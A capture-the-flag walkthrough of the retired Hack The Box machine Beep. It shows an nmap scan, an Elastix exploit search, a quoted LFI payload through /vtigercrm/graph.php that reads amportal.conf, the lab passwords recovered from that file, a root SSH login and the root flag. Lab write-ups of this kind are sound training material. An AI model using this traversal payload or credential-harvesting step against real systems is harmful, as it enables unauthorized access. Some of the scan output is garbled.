

## Hack The Box – BEEP

OS – Linux

Beep is a retired machine that is running Linux. The IP address is 10.10.10.7.

Here is the nmap output:

*Nmap -sC -sV -oA nmap 10.10.10.7*

```
nmap scan report for 10.10.10.7
Host is up (0.096s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 4.3 (protocol 2.0)
  ssh-hostkey:
    1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (D
    2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (F
25/tcp    open  smtp         Postfix smtpd
  _smtp-commands: beep.localdomain, PIPELINING, SIZE 1024000
EDSTATUSCODES, 8BITMIME, DSN,
30/tcp    open  http         Apache httpd 2.2.3
  _http-server-header: Apache/2.2.3 (CentOS)
  _http-title: Did not follow redirect to https://10.10.10.7
110/tcp   open  pop3         Cyrus pop3d 2.3.7-Invoca-RPM-2.3
  _pop3-capabilities: UIDL STLS PIPELINING LOGIN-DELAY(0) TO
s POP3 server v2) AUTH-RESP-CODE RESP-CODES USER EXPIRE(NEV
111/tcp   open  rpcbind      2 (RPC #100000)
  rpcinfo:
```

```

143/tcp  open  imap      Cyrus imapd 2.3.7-Invoca-RPM-2.3.
|_imap-capabilities: LIST-SUBSCRIBED OK UNSELECT Completed T
T RENAME LITERAL+ SORT=MODSEQ X-NETSCAPE MAILBOX-REFERRALS A
NO IDLE CONDSTORE UIDPLUS CATENATE IMAP4rev1 ID ANNOTATEMORE
ARTTLS URLAUTHA0001 CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT
kxte
443/tcp  open  ssl/http  Apache httpd 2.2.3 ((CentOS))
|_http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Elastix - Login page
|_ssl-cert: Subject: commonName=localhost.localdomain/organizi
ization/stateOrProvinceName=SomeState/countryName=-
|_Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
|_ssl-date: 2020-05-17T22:21:04+00:00; +1m49s from scanner t
993/tcp  open  ssl/imap  Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp  open  pop3      Cyrus pop3d
3306/tcp  open  mysql     MySQL (unauthorized)

```

Going to <https://10.10.10.7> using a browser shows that the VM is running Free PBX software from Elastix on HTTP ports. HTTP gets redirected to HTTPS.

Searching for exploits for Elastix on Kali shows that there are several exploits available.

```
root@kali:~/HTB/Beep# searchsploit elastix
```

```

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Exploit Title          | Path
                        | (/usr/share/exploitdb/)
-----
Elastix - 'page' Cross-Site Scripting | exploits/php/webapps/38078.py
Elastix - Multiple Cross-Site Scriptin | exploits/php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Sc | exploits/php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File | exploits/php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection      | exploits/php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection     | exploits/php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remot | exploits/php/webapps/18650.py
-----

```

Looking at the Local File Inclusion exploit shows that it exploits the script /vtigercrm/graph.php.

```
Searchsploit -x exploits/php/webapps/37637.pl
```

```
print "\t Elastix 2.2.0 LFI Exploit \n";
print "\t code author cheki \n";
print "\t 0day Elastix 2.2.0 \n";
print "\t email: anonymous17hacker{}gmail.com \n";

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../
/amportal.conf%00&module=Accounts&action

use LWP::UserAgent;
print "\n Target: https://ip ";
```

This shows a webpage that is not easily readable, but when you view the page source, you see quite a few account credentials.

```
29 #
30 AMPDBHOST=localhost
31 AMPDBENGINE=mysql
32 # AMPDBNAME=asterisk
33 AMPDBUSER=asteriskuser
34 # AMPDBPASS=amp109
35 AMPDBPASS=jEhdIekWmdjE
36 AMPENGINE=asterisk
37 AMPMGRUSER=admin
38 #AMPMGRPASS=amp111
39 AMPMGRPASS=jEhdIekWmdjE
```

Trying to SSH into the box as root with the AMPMGRPASS worked. There was a flag in the root folder.

Last login: Tue Jul 16 11:45:47 2019

Welcome to Elastix

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To access your Elastix System, using a separate workstation  
Open the Internet Browser using the following URL:  
<http://10.10.10.7>

[root@beep ~]# ls

anaconda-ks.cfg	install.log.syslog	webmin-1.57
elastix-pr-2.2-1.i386.rpm	postnochroot	
install.log	root.txt	

[root@beep ~]# more root.txt

d88e006123842106982acce0aaf453f0

[root@beep ~]# █

The VM allowed SSH login as root.